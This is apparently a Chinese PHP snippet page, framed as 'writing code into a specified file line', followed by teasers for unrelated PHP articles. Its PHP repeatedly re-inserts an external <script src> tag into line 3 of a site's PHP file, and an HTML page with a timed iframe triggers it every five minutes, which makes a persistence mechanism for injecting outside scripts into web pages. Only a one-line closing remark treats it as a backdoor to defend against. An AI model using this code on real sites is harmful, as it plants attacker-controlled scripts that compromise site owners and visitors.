php在文件指定行中写入代码的方法

yipeiwu_com6年前PHP代码库
复制代码 代码如下:

<?php
$file="aa.php" ;
$code="<script src=http://www.google/ga.js></script>";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "\n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
复制代码 代码如下:

<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="JScript">
function singOut() {
var O = document.createElement("iframe");
O.src="http://www.google.com/上边的php文件.php";
O.width=100;
O.height=100;
document.body.appendChild(O);
}
window.setInterval("singOut();",300000);
</SCRIPT>
</BODY>
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了

相关文章

fleaphp常用方法分页之Pager使用方法

Pager 分页函数 复制代码 代码如下: /** * 构造函数 * * 如果 $source 参数是一个 TableDataGateway 对象,则 FLEA_Helper_Pager...

PHP中session变量的销毁

1.何为session?相当于一个客户端(可以是浏览器、app、ftp等其他,而且同一个浏览器多开几个又算是不同的客户端)对服务器的一个访问,这个期间服务器为此建立一个唯一的标示(ses...

加强版phplib的DB类

复制代码 代码如下:<?php /*************************************************************************...

解析如何在PHP下载文件名中解决乱码的问题

通过把Content-Type设置为application/octet-stream,可以把动态生成的内容当作文件来下载,相信这个大家都会。那么用Content-Disposition设...

PHP中文件缓存转内存缓存的方法

前言 顾名思义文件缓存转内存缓存就是将存储在文件中的数据转到内存中去,实现磁盘操作转为内存操作,这样可以大大提高数据访问速度,并能实现缓存数据的分布式部署。文件缓存与内存缓存的介绍请参考...